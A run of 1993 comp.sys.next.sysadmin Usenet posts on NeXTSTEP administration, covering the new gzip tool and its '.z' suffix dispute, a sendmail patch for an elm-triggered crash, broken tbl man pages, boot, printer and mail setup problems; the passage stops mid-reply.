I am trying to compile WAIS on a NeXT Cube running NS 3.0 and get numerous
errors, to many to list. Can anyone help me with this? Thanks in
advance.
Jon Vestal
Systems Technician
Pitzer College
From: sullivan@cube.ucop.edu (Steve Sullivan)
Newsgroups: comp.sys.next.sysadmin
Subject: Boot problem - Exception #2
Date: 17 Mar 1993 19:05:32 GMT
Organization: University of California, Berkeley
Message-ID: <1o7sps$mua@agate.berkeley.edu>
After changing the IP address on a NeXTstation, I rebooted. A few seconds
after the 'Loading from Disk' message, I get the NeXt ROM Monitor with the
following message:
Exception #2 (0x8) at pc 0x7ffc3a16 sp 0x67ff13e
faultaddr 0x7ffc3a10
I finally tried to reboot from the ROM monitor by entering b. I get a
message 'sdmach: not found'. So I tried booting from the external CD-ROM
drive by entering bod; either I would get no response at all or the
message 'no optical disk'. So my questions are: 1) Does anyone know what
an exception #2 indicates? and 2) should I be able to boot from the
CD-ROM? 3) if the answer to 2 is yes, am I doing something obviously
wrong?
Any thoughts or ideas are appreciated.
Steve Sullivan
<sullivan@ucop.edu>
University of California Systemwide Admin.
From: amm@NeXT.COM (Alan M. Marcum)
Newsgroups: comp.sys.next.sysadmin
Subject: gzip - New Compression Code from GNU
Message-ID: <7074@rosie.NeXT.COM>
Date: 17 Mar 93 18:52:01 GMT
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Following are excerpts from a recent posting in gnu.announce by
the good folks at the Free Software Foundation.
> From: friedman@gnu.ai.mit.edu (Noah Friedman)
> Newsgroups:
gnu.announce,gnu.gcc.announce,gnu.emacs.announce,gnu.g++.announce,gnu.m
isc.discuss,gnu.utils.bug
> Subject: Important change to the GNU FTP archives
> Date: 9 Mar 93 10:27:19 GMT
>
> Therefore, the GNU Project has chosen a new own compression utility,
> `gzip', ... As of today, all compressed distribution
> files in the GNU anonymous FTP area (prep.ai.mit.edu:/pub/gnu) have
> been converted to the new format. Files compressed with this new
> compression program end in `.z' (as opposed to `compress'-compressed
> files, which end in `.Z').
For details, see the original posting.
FYI, the sources I FTPed over compiled without a hitch under
NeXTSTEP 3.0. Just run configure, make check, and make install
and it should work fine.
And, no, this doesn't necessarily mean that we'll be using gzip
officially, nor shipping on the release. Just that it compiled
and ran with almost no work on my part. Kudos to the folks at
FSF for their work in making it so easy.
--
Alan M. Marcum
NeXT Tech Support
amm@NeXT.COM
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From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar17.201724.20850@news.csuohio.edu>
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Date: Wed, 17 Mar 1993 20:17:24 GMT
In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes:
> And, no, this doesn't necessarily mean that we'll be using gzip
> officially, nor shipping on the release. Just that it compiled
> and ran with almost no work on my part. Kudos to the folks at
> FSF for their work in making it so easy.
> --
> Alan M. Marcum
> NeXT Tech Support
> amm@NeXT.COM
Yes, I compiled gzip also, but make sure you have the file alloca.h before
trying it or it will not compile, at least not with cc as the proceessor.
My question is how does one get the gzip executable into the "Services"
menu so we can double-click on a gzipped file and be able to de-compress
it properly. That would be a real good thing to do in NeXTSTEP!
Thanks,
Joe
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From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar17.211531.22062@news.csuohio.edu>
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Date: Wed, 17 Mar 1993 21:15:31 GMT
In article <1993Mar17.201724.20850@news.csuohio.edu>
cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
My question is how does one get the gzip executable into the "Services"
> menu so we can double-click on a gzipped file and be able to de-compress
> it properly. That would be a real good thing to do in NeXTSTEP!
my apologies. I said this incorrectly. I am wondering how we can get the
gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can
use gzip or zcat on any file compressed with the *.z. this would make it
practical to switch to using gzip for everything, if we could still avail
ourselves of its use in NeXTSTEP.
thanks again
Joe
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From: joel@writer.yorku.ca (Joel Atkin)
Subject: Installing fonts (NS 2.2)
Message-ID: <1993Mar17.213158.12907@newshub.ccs.yorku.ca>
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Date: Wed, 17 Mar 1993 21:31:58 GMT
I've tried to install some fonts but nothing seems to appear in the
Font panel. All the *.font directories are in the ~/Library/Fonts
directory and each *.font directory contains the appropriate font
metrics file and font outline file. Afterwards, I launched the
buildafmdir programme for this directory. Still, nothing is appearing
in the Font panel.
What am I doing wrong?!?
Joel Atkin
CAWC, York University, Canada
joel@highway.writer.yorku.ca
joel@grant.yorku.ca
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.mail.elm
Subject: sendmail 565c+IDA and elm?
Date: 17 Mar 1993 17:42:00 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1o7nt8$1et@steffi.demon.co.uk>
Is there a problem when elm PL23 and sendmail 565c+IDA?
I have recently changed sendmail configurations from 5.52 (NeXT
supplied) to 565c+IDA and everything appears to work except when
I send a message from elm I get sh: XXX memory fault
Any clues?
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: passwd+ in Preferences
Message-ID: <1993Mar17.174404.1111@xexos.com>
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Date: Wed, 17 Mar 1993 17:44:04 GMT
In article <C3x54o.LML@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson)
writes:
> Has anyone gotten around to writing a drop-in Preferences module
> that provides for 'safe' password changing in netinfo? (by safe, I
> mean using passwd+ or something like it - check for crackable
> passwords)
Whoa!!! Synchronicity strikes. Another (yet another) project we're working on.
Drop in Preferences module that forces users to change their passwords every
month (sysadmin settable), a set of system loginhooks that force this when they
expire, won't let people have passwords that are common words, names etc.
Haven't actually played with passwd+, we were basing our product on what SCO
Unix does (its C2 compliant) and is okay on the useability front. The
Preferences panel itself is easy, the loginhook (ie when a user logs in,
popping up a program that forces them to reset their password) is taking a
little more time. Mail info@xexos.com for details. Should ship in about 4 weeks
with the wind behind us.
--
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Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
From: jmcaulif@husc.harvard.edu (Jon McAuliffe)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Powering Down a SCSI device - please mail replies
Message-ID: <1993Mar17.214959.21777@husc3.harvard.edu>
Date: 18 Mar 93 02:49:57 GMT
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In article <1993Mar16.203653.21727@husc3.harvard.edu> writes:
>
> Hello,
>
> Suppose I have an external hard drive mounted and I log out. If I then
> power down the drive, say, in the evening and power it back up when I log on
> the next morning, will anything have gone wrong? How about if I unmount it
> before logging out (assuming I don't get "device busy"?) What kinds of bad
> things occur in this situation, if any?
>
> Please reply by mail.
>
I've gotten the point; thanks for all of the email! General consensus
is it's a really bad idea; the main compelling reason is that SCSI errors blow
up everywhere because the SCSI bus is not properly terminated (if it's the last
SCSI device on the chain), among other reasons. Don't power off the SCSI device
without powering off the computer.
BTW, I wanted to do it b/c my NeXT is on the network with mail
forwarded to it, but it's also in my bedroom, so I wanted to turn off all
posible equipment (monitor, printer, external drive) but leave the machine on
to receive mail. I've since written a script that turns off forwarding when I
power off and starts it up again when I power on. Probably better in the long
run.
_________________________________________________________________________
Jon McAuliffe jmcaulif@husc.harvard.edu
NeXT ex-Campus Consultant 617.493.3004 (voice/fax)
Harvard University
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar18.032602.15187@galileo.cc.rochester.edu>
Date: 18 Mar 93 03:26:02 GMT
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In <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
>In article <1993Mar17.201724.20850@news.csuohio.edu>
>cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
>My question is how does one get the gzip executable into the "Services"
>> menu so we can double-click on a gzipped file and be able to de-compress
>> it properly. That would be a real good thing to do in NeXTSTEP!
>my apologies. I said this incorrectly. I am wondering how we can get the
>gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can
>use gzip or zcat on any file compressed with the *.z. this would make it
>practical to switch to using gzip for everything, if we could still avail
>ourselves of its use in NeXTSTEP.
>thanks again
>Joe
Well, right at the moment, I'm writing a quick edit to my Opener.app tables
so that double clicking will decompress anything using gzip that has a .z
suffix. If you don't have Opener, get it from the archives
(sonata.cc.purdue.edu, etc) It's great for opening .zip, .arc, .tar.Z, any
combination, almost. You can also program it to decompress any other
formats in a very easy to understand way. If there's interest, I'll post my
Opener.table file so that you can just put it into your Opener.app directory
and uncompress on your merry way...
John
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From: asd@mace.cc.purdue.edu (Doug McClure)
Subject: Re: gzip - New Compression Code from GNU
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Date: Thu, 18 Mar 1993 05:10:11 GMT
jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
>In <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
[question on how to get gzip to work from Workspace]
>Well, right at the moment, I'm writing a quick edit to my Opener.app tables
>so that double clicking will decompress anything using gzip that has a .z
>suffix. If you don't have Opener, get it from the archives
>(sonata.cc.purdue.edu, etc) It's great for opening .zip, .arc, .tar.Z, any
>combination, almost. You can also program it to decompress any other
>formats in a very easy to understand way. If there's interest, I'll post my
>Opener.table file so that you can just put it into your Opener.app directory
>and uncompress on your merry way...
This is good. There is also another, even spiffier way to use gzip.
Login to root, and move the compress/uncompress binaries to backup
files, and then link them to your gzip executable. Now when you do a
Compress/Decompress from the Workspace>File menu, it will use gzip.
And of course, it will still work with all those old regularly
compressed files.
**WARNING**: Doing this could cause you some problems in transferring
data from your machine to others, especially with NeXT Mail. I'm not
sure, but I believe NeXT Mail uses the compress binary, and not it's
own version, so you may end up mailing people messages they can't
read. For a single user machine though, it sure does make life
easier. And a lot smaller.
-dsm
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar18.075302.3514@csus.edu>
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Date: Thu, 18 Mar 1993 07:53:02 GMT
In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes:
>Following are excerpts from a recent posting in gnu.announce by
>the good folks at the Free Software Foundation.
>> Files compressed with this new
>> compression program end in `.z' (as opposed to `compress'-compressed
>> files, which end in `.Z').
EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed)
files. I guess FSF really wants to piss off the System V
community!
Y'all send them nastygrams NOW.
John Todd: don't compound their mistake, please.
-=EPS=-
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: NeXTMail problem
Message-ID: <1993Mar17.213052.15378@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993Mar16.165317.13467@Princeton.EDU>
Distribution: na
Date: Wed, 17 Mar 1993 21:30:52 GMT
In article <1993Mar16.165317.13467@Princeton.EDU>
gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) writes:
> One of our users can't send NeXTmail (i.e., any mail that incudes
> formatted text and/or file attachments). Pressing the deliver button
> results in the following error message: "Unable to write
> attachments." Sounds like a permission problem, or a missing
> folder... but I have not yet found the source of this problem.
That happens if there is insufficient disk space available e.g. when small
disk quotas are imposed.
M Carling
President, Bay Area NeXT Group
From: madler@cco.caltech.edu (Mark Adler)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: gzip - New Compression Code from GNU
Date: 18 Mar 1993 15:10:02 GMT
Organization: California Institute of Technology, Pasadena
Message-ID: <1oa3cbINNq75@gap.caltech.edu>
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>> **WARNING**: Doing this could cause you some problems in transferring
Right. You should only do this for uncompress and zcat. Replacing
compress with gzip will lead to Mail problems.
mark
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From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske)
Subject: Re: gzip - New Compression Code from GNU
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Date: Thu, 18 Mar 1993 15:44:56 GMT
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Organization: University of Southern North Dakota, Hoople
In article <1993Mar18.075302.3514@csus.edu> eps@cs.sfsu.edu writes:
>In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes:
>>Following are excerpts from a recent posting in gnu.announce by
>>the good folks at the Free Software Foundation.
>
>>> Files compressed with this new
>>> compression program end in `.z' (as opposed to `compress'-compressed
>>> files, which end in `.Z').
>
>EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed)
>files. I guess FSF really wants to piss off the System V
>community!
>
>Y'all send them nastygrams NOW.
For the flame war on this choice of an extension, read gnu.misc.discuss. It
is full of comments on this choice.
The FSF isn't the last word in software no matter how powerful they are. A
perfect example is the "warning" in gcc2.3.3 that you get everytime you use
the #import directive.
--
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=(___)=
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From: eric@skatter.usask.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work
Date: 18 Mar 1993 15:42:41 GMT
Organization: University of Saskatchewan
Message-ID: <1oa59hINN8cu@access.usask.ca>
References: <1993Mar16.214745.15035@glv.uucp>
If you take a look at /usr/man/man1/mf.1 you will find that it has
*already* been run through tbl. So, if all you want is a formatted
version, the following command will leave a formatted PostScript
file in mf.ps:
ptroff -t -man /usr/man/man1/mf.1 >mf.ps
--
Eric Norum eric@skatter.usask.ca
Saskatchewan Accelerator Laboratory
University of Saskatchewan
Saskatoon, Canada. NeXTMail accepted.
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From: paul@uxc.cso.uiuc.edu (Paul Pomes - UofIllinois CSO)
Subject: Re: sendmail 565c+IDA and elm?
Date: Thu, 18 Mar 1993 16:52:14 GMT
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robert@steffi.demon.co.uk (Robert Nicholson) writes:
>Is there a problem when elm PL23 and sendmail 565c+IDA?
>
>I have recently changed sendmail configurations from 5.52 (NeXT
>supplied) to 565c+IDA and everything appears to work except when
>I send a message from elm I get sh: XXX memory fault
>
>Any clues?
Either fix your Elm to use correct GMT offsets or apply the following
patch from Mike Park <mikep@dragoman.com>.
*** 5.11.0.16 1992/08/26 22:06:32
--- arpadate.c 1993/03/10 21:38:23
***************
*** 423,428 ****
--- 423,440 ----
#endif /* LOG */
return(NULL);
}
+
+ /*
+ * Some buggy mailers (ie elm 2.4.p13) can produce huge incorrect
+ * offsets. Applying these offsets can cause the static array
+ * used by gmtime to be overrun on a NeXT OS3.0 causing sendmail
+ * to SEGV.
+ * Limit offsets to be +- 24 hours.
+ */
+ if (h_offset < -24)
+ h_offset = -24;
+ if (h_offset > 24)
+ h_offset = 24;
/* is the year a leap year? */
if ((tm.tm_year % 4 == 0) &&
--
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is fundamental. No one is entitled to special protection from the marketplace.
--Paul Pomes
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From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work
In-Reply-To: djd@glv.com's message of Tue, 16 Mar 1993 21:47:45 GMT
Message-ID: <HERRING.93Mar18175355@freja.iesd.auc.dk>
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References: <1nndos$e7i@zaphod.mps.ohio-state.edu>
<1993Mar16.214745.15035@glv.uucp>
Date: 18 Mar 1993 16:53:54 GMT
David is: djd@glv.com (David Deininger)
Paul is : nevai@mps.ohio-state.edu (Paul Nevai)
Paul> Do a "man mf" job.
Paul> Your mf.1 will not be processed because "man" can't finish the
Paul> job. This is what happens:
Paul>
Paul> % ops> man mf
Paul> Reformatting page.
Paul> /usr/man/man1/mf.1: line 124: no specification
Paul> tbl quits
Paul>
Paul> What the heck is going on? The same mf.1 works fine on our SUN
Paul> so I guess the NeXT has the problem. Any ideas? Take
Paul> care...Paul
David> Looks like it's a bug in tbl, rather than a problem with mf.1,
David> since tbl.1 doesn't work either. Having reached this
David> conclusion, I still don't know what to do about it. :-)
David> --david deininger
The problem is in the "tbl" code for /usr/man/mf.1 -- if you read the
code, the section that reads:
A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts
is shown below.
.ds f. mf.tbl \" tbl output inserted here
.TS
.if \n+(b.=1 .nr d. \n(.c-\n(c.-1
.de 35
should instead read (something like):
A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts
is shown below.
.ds f. mf.tbl \" tbl output inserted here
.TS
c s s
c c s
c c c
l n n.
.if \n+(b.=1 .nr d. \n(.c-\n(c.-1
.de 35
where c s s
c c s
c c c
l n n. is the "specification" for the layout of the table.
Without this specification, "tbl" has no clue about what the table
should look like, and it croaks.
Take a look at /usr/man/tbl.1 -- the example presented and the code
written to actually produce the example don't agree. It is short
enough to understand with no real problems.
Ignoring the troff directives (.nf, .nr, and the like), the code
should read:
.TS
c s s
c c s
c c c
l n n.
Household Population
Town \t Households
\t Number \t Size
Bedminster \t 789 \t 3.26
Bernards Twp. \t 3087 \t 3.74
Bernardsville \t 2018 \t 3.30
Bound Brook \t 3425 \t 3.04
Branchburg \t 1644 \t 3.49
Bridgewater \t 7897 \t 3.81
Far Hills \t 240 \t 3.19
.TE
The ' \t ' sequences should be replaced by real tabs.
So, what we have here, is a failure to communicate -- the being who
authored these manual pages did not quite grok "tbl" syntax. Btw, I
ran /usr/man/mf.1 through 'tbl mf.1 | nroff -man > /dev/null' on a Sun
running SunOS 4.1.3 (I think...) and it said:
[freja] /tmp> tbl mf.1 | nroff -man > /dev/null
/tmp/mf.1: line 134: no specification
tbl quits
A good book on this and other fascinating 1970's-state-of-the-art text
processing topics is "Document Formatting & Typesetting on the UNIX
System" by Narain Gehani.
Erick (who did not proof-read this article, but hopes that it is
adequate to the purpose...)
P.S. groff -- GNU's (di|v)*troff replacement -- can't handle this,
either.
--
-----
Erick Herring | Computation is the art of carefully throwing
NeXT Salg og Teknik | away information [and] Life is the art of
Polyteknisk Data, | carefully throwing away opportunities, an
Lyngby, Danmark | interesting coincidental parallel.
herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Help! I've broken my printer.
Message-ID: <1993Mar18.174717.4619@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar16.151641.6507@newshost.lanl.gov>
Date: Thu, 18 Mar 1993 17:47:17 GMT
Dick Phillips (rlp@lanl.gov) wrote:
: Folks:
:
: Recently, while acting as my own sysadmin, I seem to have screwed up the
: netinfo printcap entry. I added a couple of non-next printers via the
: niload printcap . < /etc/printcap command. Previously, I had edited
: /etc/printcap to reflect the new entries. Well, I can print to the new
: printers, but I can no longer print to my local 400 dpi NeXT printer. The
: console message says "Mar 15 14:11:20 rust lpd[217]: cannot execv /usr/lib/
: NextPrinter/npcomm."
:
: My first inclination was to reinstall the printer using PrintManager, but
: that entry is grayed out. I'd sure appreciate any help here. Thanks,
:
: Dick Phillips
: rlp@lanl.gov
Try rebooting your machine now that you have the printcap entry
restored. I had one incident where I swapped printers to test a
differetnt Next printer. Someone tried to print while it wasn't there,
and the printer driver would not do a thing until I rebooted.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Control: cancel <HERRING.93Mar18175355@freja.iesd.auc.dk>
Newsgroups: comp.sys.next.sysadmin
From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: cancel <HERRING.93Mar18175355@freja.iesd.auc.dk>
Message-ID: <HERRING.93Mar18185004@freja.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
Date: 18 Mar 1993 17:50:04 GMT
--
-----
Erick Herring | Computation is the art of carefully throwing
NeXT Salg og Teknik | away information [and] Life is the art of
Polyteknisk Data, | carefully throwing away opportunities, an
Lyngby, Danmark | interesting coincidental parallel.
herring@pd.dth.dk | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Mail.app Leave My /usr/spool/file alone
Message-ID: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Mar17.051032.2840@sfu.ca>
Date: Thu, 18 Mar 1993 18:16:32 GMT
Eric Kolotyluk (eric@cs.sfu.ca) wrote:
: reply to: eric@sfu.ca
:
: It is extemely frustrating to run Mail.app on a network of Suns.
: While running Mail.app is a nice way to minimize disk utilization
: in the /usr/spool partition, it drives me (an my users) nuts when
: you go back to running a `regular' mail program like, mail, elm,
: mailtool, etc.
:
: Is there a way to make/configure Mail.app to leave you mail in
: the /usr/spool/file?
Not that I know of; BUT
you can do this:
1. Tell elm that your folders are in ~/Mailboxes
2. cd ~/Mailboxes
3. For everything except Active.mbox
link $name -> Mailboxes/${name}.mbox/$name
Now you can read any of your folders with elm or with NextMail. EXCEPT
that Active.mbox. This one you shouldn't read with elm, as elm and Mail
have different ways of deleteing mail, and you can end up with a
corrupted mail box.
Rule of thumb to avoid corruption: If you delete in NextMail you must
compact the mailbox before modifying it with another mail agent.
(Appending stuff is ok, I think, but deleting is not)
Now, whenever you do read mail in NextMail, make a point of either
deleteing the messages, or putting them in one of the folders.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: My Neighborhood Disappeared!
Date: 18 Mar 1993 18:30:25 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1oaf41INNdja@senator-bedfellow.MIT.EDU>
You know how when you click the folder of another user, its icon is supposed
to be a "neighborhood" of houses? Well on my standalone turbo color station,
when I click the home folder of the "me" account or my roomates account,
the icon is just the plain manilla folder. However, when I log IN as root
or me and click other users home folders, they appear correctly as houses.
What could be wrong? The accounts are all local. The icons are wrong only
when I log into my personal account. When my roomate logs in to his private
account, all other home folders, including the "me" folder appear correctly
as houses.
Thanks again,
Eric
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Netinfo can't change client database
Message-ID: <1993Mar18.182614.6074@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Thu, 18 Mar 1993 18:26:14 GMT
Recently I had to rebuild one of our standard nexts. No problem.
I've done this several times. Takes about two hours.
This time however, I've done something different, and I can't find out
what.
The next is named lucifer. Lucifer, on boot up connects with the /
netinfo domain no problem. If I fire up NetInfoManager, I can read the
/lucifer domain without a hitch. But if I try to change anything, I get
a "Communication Failure"
If I walk over to lucifer, no problem.
I rlogin lucifer then run
NetinfoManger -NXHost whatever, and have no problem.
From lucifer, I can modify other domains.
What have I missed?
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: herring@iesd.auc.dk (B. Erickson Herring)
Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work
In-Reply-To: eric@skatter.usask.ca's message of 18 Mar 1993 15:42:41 GMT
Message-ID: <HERRING.93Mar18192203@freja.iesd.auc.dk>
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References: <1993Mar16.214745.15035@glv.uucp> <1oa59hINN8cu@access.usask.ca>
Date: 18 Mar 1993 18:22:03 GMT
Paul is: nevai@mps.ohio-state.edu (Paul Nevai)
David is: djd@glv.com (David Deininger)
Me is: Me
Eric is: eric@skatter.usask.ca (Eric Norum)
Paul started:
Paul> Do a "man mf" job.
Paul> Your mf.1 will not be processed because "man" can't finish the
Paul> job. This is what happens:
Paul>
Paul> % ops> man mf
Paul> Reformatting page.
Paul> /usr/man/man1/mf.1: line 124: no specification
Paul> tbl quits
Paul>
Paul> What the heck is going on? The same mf.1 works fine on our SUN
Paul> so I guess the NeXT has the problem. Any ideas? Take
Paul> care...Paul
To which David replied:
David> Looks like it's a bug in tbl, rather than a problem with mf.1,
David> since tbl.1 doesn't work either. Having reached this
David> conclusion, I still don't know what to do about it. :-)
David> --david deininger
I followed up (rather hastily, in an article
that I have since cancelled):
Me> The problem is in the "tbl" code for /usr/man/mf.1 -- if you read the
Me> code, the section that reads:
Me>
Me> A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts
Me> is shown below.
Me> .ds f. mf.tbl \" tbl output inserted here
Me> .TS
Me> .if \n+(b.=1 .nr d. \n(.c-\n(c.-1
Me> .de 35
Me>
Me> should instead read (something like):
Me>
Me> A listing of gf numbers for 118-dpi, 240-dpi and 300-dpi fonts
Me> is shown below.
Me> .ds f. mf.tbl \" tbl output inserted here
Me> .TS
Me> c s s
Me> c c s
Me> c c c
Me> l n n.
Me> .if \n+(b.=1 .nr d. \n(.c-\n(c.-1
Me> .de 35
Me>
Me> where c s s
Me> c c s
Me> c c c
Me> l n n. is the "specification" for the layout of the table.
Me> Without this specification, "tbl" has no clue about what the table
Me> should look like, and it croaks.
Me>
Me> Take a look at /usr/man/tbl.1 -- the example presented and the code
Me> written to actually produce the example don't agree. It is short
Me> enough to understand with no real problems.
Me>
Me> Ignoring the troff directives (.nf, .nr, and the like), the code
Me> should read:
Me>
Me> .TS
Me> c s s
Me> c c s
Me> c c c
Me> l n n.
Me> Household Population
Me> Town \t Households
Me> \t Number \t Size
Me> Bedminster \t 789 \t 3.26
Me> Bernards Twp. \t 3087 \t 3.74
Me> Bernardsville \t 2018 \t 3.30
Me> Bound Brook \t 3425 \t 3.04
Me> Branchburg \t 1644 \t 3.49
Me> Bridgewater \t 7897 \t 3.81
Me> Far Hills \t 240 \t 3.19
Me> .TE
Me>
Me> The ' \t ' sequences should be replaced by real tabs.
Me>
Me> So, what we have here, is a failure to communicate -- the being who
Me> authored these manual pages did not quite grok "tbl" syntax. Btw, I
Me> ran /usr/man/mf.1 through 'tbl mf.1 | nroff -man > /dev/null' on a Sun
Me> running SunOS 4.1.3 (I think...) and it said:
Me>
Me> [freja] /tmp> tbl mf.1 | nroff -man > /dev/null
Me>
Me> /tmp/mf.1: line 134: no specification
Me> tbl quits
Me>
Me>
Me> A good book on this and other fascinating 1970's-state-of-the-art text
Me> processing topics is "Document Formatting & Typesetting on the UNIX
Me> System" by Narain Gehani.
Me>
Me> Erick (who did not proof-read this article, but hopes that it is
Me> adequate to the purpose...)
Me>
Me> P.S. groff -- GNU's (di|v)*troff replacement -- can't handle this,
Me> either.
And to which Eric replied (concurrently...):
eric> If you take a look at /usr/man/man1/mf.1 you will find that it has
eric> *already* been run through tbl. So, if all you want is a formatted
eric> version, the following command will leave a formatted PostScript
eric> file in mf.ps:
eric>
eric> % ptroff -t -man /usr/man/man1/mf.1 >mf.ps
Eric is correct, in that this command produces the required output,
as does '/usr/bin/nroff -man /usr/man/man1/mf.1'.
My text, however, is also substantially correct -- the output from the
example worked, since troff doesn't care much about redundant
directives -- though my diagnosis of the problem was hasty and
incorrect.
But! These manual pages are still broken, and badly. If I cannot say
'man mf' or 'man -t mf', then there is a problem -- the whole purpose
of "man" being to save us from typing
'/usr/bin/nroff -man /usr/man/man1/mf.1 | less'
If you remove the lines that begin '.TS' and '.TE', hopefully in
matching pairs, then everything is peachy -- those are the lines that
indicate to "man" that the troff source should be run through "tbl".
So, it's a bug, Jim, but not as we know it...
Erick (hoping that I won't have to cancel this, as well :-)
--
-----
Erick Herring | Computation is the art of carefully throwing
NeXT Salg og Teknik | away information [and] Life is the art of
Polyteknisk Data, | carefully throwing away opportunities, an
Lyngby, Danmark | interesting coincidental parallel.
herring@pd.dth.dk | - Guy L. Steele Jr.
From: filibert@vista (Daniel Filiberti)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar18.010035.128@ohsu.edu>
Date: 18 Mar 93 01:00:35 GMT
Article-I.D.: ohsu.1993Mar18.010035.128
References: <1993Mar17.211531.22062@news.csuohio.edu>
Sender: news@ohsu.edu
Organization: Oregon Health Sciences University
In article <1993Mar17.211531.22062@news.csuohio.edu> cowboy@trans.csuohio.edu
(Joe Rosenfeld) writes:
> my apologies. I said this incorrectly. I am wondering how we can get the
> gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can
> use gzip or zcat on any file compressed with the *.z. this would make it
> practical to switch to using gzip for everything, if we could still avail
> ourselves of its use in NeXTSTEP.
>
> thanks again
> Joe
Well, I haven't convinced myself to do it yet, but you should easily be able to
inform Opener.app about gzip compressed files. Check out the help window, it
explains how...
Daniel
Newsgroups: comp.sys.next.sysadmin
From: bounds@gulaam.glv.com (Frank Bounds)
Subject: Slowwww performance... Suggestions for troubleshooting?
Message-ID: <1993Mar18.215630.18190@glv.uucp>
Keywords: NeXTstation Performance
Sender: usenet@glv.uucp
Organization: Encompass
Date: Thu, 18 Mar 1993 21:56:30 GMT
We have a color NeXTstation that seems to have developed a performance
problem for no apparent reason. There are no error messages in
/usr/adm/messages log. It is a networked machine, the network has not
experienced a radical change in bandwidth utililization. There seems
to not be any process using an excessive amount of memory or cpu. It
has been powered down completely and rebooted. I have looked at about
everything I can think of (short of changing hardware). Any
suggestions? Has anyone experienced this sort of thing before?
Frank Bounds
ENCOMPASS
bounds@gulaam.glv.com
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: gzip - New Compression Code from GNU
Message-ID: <1993Mar18.225218.7761@galileo.cc.rochester.edu>
Date: 18 Mar 93 22:52:18 GMT
References: <7074@rosie.NeXT.COM> <1993Mar18.075302.3514@csus.edu>
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
In <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes:
>>> Files compressed with this new
>>> compression program end in `.z' (as opposed to `compress'-compressed
>>> files, which end in `.Z').
>EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed)
>files. I guess FSF really wants to piss off the System V
>community!
>Y'all send them nastygrams NOW.
>John Todd: don't compound their mistake, please.
> -=EPS=-
Yes, gzip takes this into consideration, with it's ability to unpack
"packed" files. However, as far as I understand the manual pages, it does
